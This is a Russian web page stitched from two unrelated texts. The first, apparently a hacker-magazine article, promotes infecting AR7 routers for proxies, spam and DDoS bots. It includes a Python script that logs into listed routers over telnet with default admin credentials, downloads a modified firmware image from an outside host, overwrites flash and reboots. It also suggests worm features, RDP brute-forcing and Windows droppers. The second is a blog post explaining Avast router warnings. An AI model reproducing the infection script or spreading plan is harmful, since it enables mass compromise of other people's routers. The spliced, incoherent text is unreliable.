Схема адаптера очень проста. Базируется лишь на одной микросхеме –
преобразователе уровней TTL: MAX232 для COM и FT232R для USB. Микросхемы
достаточно распространены и проблем с покупкой не будет.

Схема собирается на макетной плате (которую спокойно можно поместить в корпус
разъема COM-порта) за 20 минут и приносит море пользы. Например, при отладке
ядра это абсолютно незаменимое решение. А если с электроникой туго? Выходом
являются USB-шнуры для старых телефонов, на них как раз стоит преобразователь
UART - USB.

Некоторые идеи распространения

Свой прокси\сокс на чужом роутере – это здорово. Как, собственно, и спамящий
по всем протоколам маршрутизатор. Это тебе не компьютер с Windows, которую
переставляют каждый месяц:). Роутеры часто не меняют и не перепрошивают. Да и
кому кроме нас взбредет в голову сама идея инфицирования роутера?

Не забывай, под контролем у нас весь трафик от пользователя/сети. На более
мощных роутерах уже и DDOS-бота возможно повесить. Спрятать файл/скрыть процесс,
перехватывать запись в mtd блоки исключив затирание нашей программы – все, что
угодно!

Допустим, ты собрался взяться за написание серьезной программы для роутера.
Важна очень хорошая отладка, наверняка придется кучу раз
переписывать/восстанавливать образы... Это очень грустная перспектива. Даже руки
немного опускаются, если еще и учесть, что ресурс перезаписи у Flash-памяти
невелик (подробнее в документации к микросхеме памяти), и есть перспектива
угробить ее. Но выход есть! Qemu может эмулировать AR7! Ты представляешь, какие
это дает возможности и безграничное удобство? Теперь нам ничего не мешает
написать что-то невероятно классное!

Итак. Ты написал программу, проверил на своем или 1-2 чужих роутерах, но ведь
еще вся сеть впереди, вручную заражать муторно, на 10-м роутере уже начинаешь
проклинать весь мир, и плывет в глазах от верениц "cat" и "mtd". Напишем
программу для автоматизации этих рутинных действий. Я выбрал язык python.

План работы таков:

  • составляем список роутеров, например, с помощью nmap;
  • скрипт должен брать из списка по порядку IP-адреса, заходить через
    telnet со стандартным логином\паролем;
  • далее те самые действия: закачиваем модифицированный образ,
    перезаписываем, перезагружаемся.

#!/usr/bin/env python
#Encode=UTF-8

import telnetlib,time

SERVER="http://anyhost.com/fs.image"

for addr in open("iplist.txt"):
telnet = telnetlib.Telnet(addr)
telnet.set_debuglevel(1)
telnet.read_until("login:")
time.sleep(5)
telnet.write("admin\n")
telnet.read_until("Password:")
telnet.write("admin\n")
telnet.read_until("#")
telnet.write("cd /var && wget " + SERVER)
telnet.read_until("#")
telnet.write("cat fs.image > /dev/mtdblock/0")
telnet.read_until("#")
telnet.write("reboot")
telnet.close()

Логика работы скрипта очень далека от идеала, сейчас поясню, почему. Для
начала следует проверять версию прошивки/ядра и модель роутера, ибо могут быть
серьезные отличия в работе. Далее, вместо заготовок прошивок следует выкачивать
образ файловой системы с роутера, распаковывать, модифицировать и отправлять
обратно. Это исключит проблемы, возникающие с совместимостью в разных
моделях/версиях прошивок, ведь устойчивость работы для тебя – самое главное.
Также вирус может иметь функции червя, и, если есть желание, всегда можно
прикрутить к нему сканер сети, брутфорс для RDP и подобные фишки.

Есть еще один замечательный способ распространения. Ничего не мешает написать
программу под Windows, которая будет иметь при себе (либо скачивать со своего
сервера) образ файловой системы и заражать им роутер, если он присутствует.
Распространять эту программу всеми "стандартными" способами: съемные накопители,
эксплойты под программы, заражение других программ... Комбинируя эти способы,
можно устроить серьезную пандемию. Ты только представь себе эту картину – ведь
подобные устройства распространены повсеместно.

Защита роутера

Раскопав все это, я подумал: как же можно защитить роутер? А то, глядишь, и
сам попаду. Первым делом следует сменить пароль пользователей на более сложный и
длинный (ограничение – 8 символов), сменить баннеры и приветствия сервисов
(hex-редактором, либо, что предпочтительнее, перекомпилировать программы), дабы
nmap или другие сканеры не могли определить версии сервисов.

Также следует сменить порты, на которых висят демоны. Делается это путем
модификации progdefs.xml. Убить telnet (к нему проще всего подобрать пароль, да
и протокол незащищенный, зачем он нам), включить firewall, разрешить подключение
к сервисам только с собственного IP- или MAC-адреса. Также используй firewall
для защиты сети или компьютера, не зря ведь он присутствует. Грамотная настройка
правил всегда поможет защититься.

Заключение

Многие, не только D-Link-роутеры и прочие подобные устройства построены на
чипе AR7, в список входят Acorp, NetGear, Linksys, Actionec... Довольно
популярен этот AR7 вместе с MontaVista. Отсюда следует, что, используя тот же
toolchain, без особых проблем можно провести действия, описанные в статье.

Задумайся: помимо вредоносных действий можно сделать и полезное/приятное себе
и другим (не спорю, удовольствие от взлома заменить невозможно, но все же).
Можно делать свои прошивки, например, более мощные роутеры, способные
качать/раздавать торренты... Все модели имеют USB 1.1-интерфейс, но в младших
моделях он не распаян. Добавить к ядру USB-модуль и драйвер файловой системы,
снабдить роутер Flash-памятью – и в итоге получится этакое сетевое хранилище за
небольшие деньги. Вариантов масса, а идеи должны возникать тысячами – не
ограничивай себя, твори и созидай!

До недавнего времени я даже не знал, что роутер Avast пугает своих пользователей "страшными" предупреждениями относительно их роутеров. Как оказалось, антивирус Avast проводит проверку Wi-Fi роутеров. Он выдает результаты, что маршрутизатор настроен неправильно, устройство уязвимо для атак, или вообще, что роутер заражен и инфицирован, а злоумышленники уже перехватили DNS-адреса и успешно переправляют вас на вредоносные сайты, крадут данные кредитных карт и вообще все очень плохо. Все эти предупреждения конечно же приправлены опасным красным цветом и запутанными инструкциями, в которых даже хороший специалист без пива не разберется. Я не говорю уже об обычных пользователях. Вот так выглядят найденные проблемы на роутере D-Link DIR-615:

Устройство уязвимо для атак:

Из вариантов решения конечно же обновление прошивки роутера. Ибо что еще 🙂 Так же Avast может выдавать сообщение, что ваш роутер защищен слабым паролем, или роутер не защищен от взлома.

В отдельных случаях можно увидеть сообщение, что ваш роутер инфицирован , и соединения перенаправляются на вредоносный сервер. Антивирус Avast объясняет это тем, что ваш роутер был взломан, и в нем были изменены DNS-адреса на вредоносные. И там же предоставлены инструкции по решению этой проблемы для разных роутеров: ASUS, TP-Link, ZyXEL, D-Link, Huawei, Linksys/Cisco, NETGEAR, Sagem/Sagemco.

Если коротко, то все эти рекомендации направлены на проверку DNS-адресов, и служб связанных с DNS. Через которые злоумышленники могут сменить DNS на вашем роутере и перенаправлять вас на свои вредоносные сайты. Там есть подробные инструкции как все проверить на маршрутизаторах разных производителей.

Как реагировать на предупреждении от Avast об уязвимости роутера?

Думаю, этот вопрос интересует всех. Тем более, если вы зашли на эту страницу. Если вам интересно, как бы я отреагировал на такие предупреждения со стороны антивируса, то ответ простой – никак. Я уверен, что и в моем роутере Avast нашел бы дыры, через которые меня могут взломать. У меня просто Dr.Web. Он таких проверок не делает.

Возможно я ошибаюсь, но ни один антивирус кроме Avast не проверяет Wi-Fi роутеры к которым вы подключены на разного рода уязвимости. А эта функция, которая называется Home Network Security появилась еще в 2015 году. В версии программы Avast 2015.

Avast сканирует маршрутизатор на наличие проблем в безопасности устройства. Хотя, мне не до конца понятно, как он это делает. Например, как он проверяет то же пароль на вход в настройки роутера. Следит за пользователем, или методом подбора? Если подобрал – пароль плохой 🙂 Хотя ладно, я не программист.

Лично я считаю, что все эти предупреждения не боле чем простые рекомендации по усилению защиты вашего маршрутизатора. Это не значит, что вас уже кто-то взломал и ворует ваши данные. Что предлагает Avast:

  • Установить хороший пароль и обновлять прошивку роутера. Мол в противном случае вас могут взломать. Ok, это и так понятно. Об этом не обязательно сигнализировать как о какой-то страшной уязвимости. Хотя снова же, мне не понятно, как антивирус определяет что версия программного обеспечения маршрутизатора устарела. Мне кажется, это невозможно.
  • Роутер не защищен от подключений из интернета. Скорее всего такое предупреждение появляется после проверки открытых портов. Но по умолчанию, на всех роутерах функция "Доступ из WAN" отключена. Я очень сомневаюсь, что кто-то будет взламывать ваш роутер через интернет.
  • Ну и самое страшное, это подмена DNS-адресов. При обнаружении каких-то проблем с DNS, Avast уже прямым текстом пишет о том, что "Ваш роутер инфицирован!". Но в 99% случаев это не так. Снова же, практически всегда роутер автоматически получает DNS от провайдера. А все функции и службы, через которые злоумышленники как-то могут подменить DNS, отключены по умолчанию. Мне кажется, что очень часто антивирус неправильно "понимает" какие-то пользовательские настройки.

Как-то так. Вы конечно же можете со мной не согласиться. Мне кажется, что намного проще получить доступ непосредственно к компьютеру, и заразить его, чем делать это с маршрутизатором. Если мы говорим об атаке через интернет. Буду рад увидеть ваше мнение по этому поводу в комментариях.

Как защитить роутер и убрать предупреждение от Avast?

Давайте попробуем разобраться с каждым пунктом, который скорее всего проверяет Avast и выдает предупреждения.

  • Роутер защищен слабым паролем. Отсутствует шифрование. В первом случае антивирус имеет введу пароль, который нужно вводить при входе в настройки маршрутизатора. Как правило, по умолчанию пароль admin. Или вообще не установлен. И получается, что все, кто подключен к вашей сети могут зайти в настройки роутера. Поэтому, этот пароль нужно менять. Как это сделать, я писал в статье: . Что касается пароля Wi-Fi сети, то он так же должен быть надежным, и должен использоваться тип шифрования WPA2. Об этом я всегда пишу в инструкциях по настройке роутеров.
  • Роутер уязвим из-за старого ПО. Это не совсем так. Но, если для вашей модели маршрутизатора есть новая прошивка, то его желательно обновить. Не только для повышения безопасности, но и для более стабильной работы устройства и новых функций. У нас на сайте есть инструкции по обновлению ПО для маршрутизаторов разных производителей. Можете найти через поиск, или спрашивайте в комментариях. Вот и для .
  • Параметры DNS были изменены. Роутер взломан. Честно говоря, таких случаев я еще не видел. Как я уже писал выше, все службы, через которые это может произойти по умолчанию отключены. Чаще всего роутер получает DNS от провайдера автоматически. Единственное, что я могу посоветовать, это не прописывать вручную DNS-адреса, в которых вы не уверены. И если указываете вручную адреса, то лучше используйте только DNS от Google, которые: . Это так же советуют в рекомендациях Avast, которые можно посмотреть на официальном сайте: . Там есть подробные инструкции по решению проблем с DNS практически для всех роутеров.

На этом все. Надеюсь, мне удалось хоть немного пояснить данные предупреждения в антивирусе Avast. Задавайте вопросы в комментариях, и не забывайте делится полезной информацией по данной теме. Всего хорошего!

Лучшие статьи по теме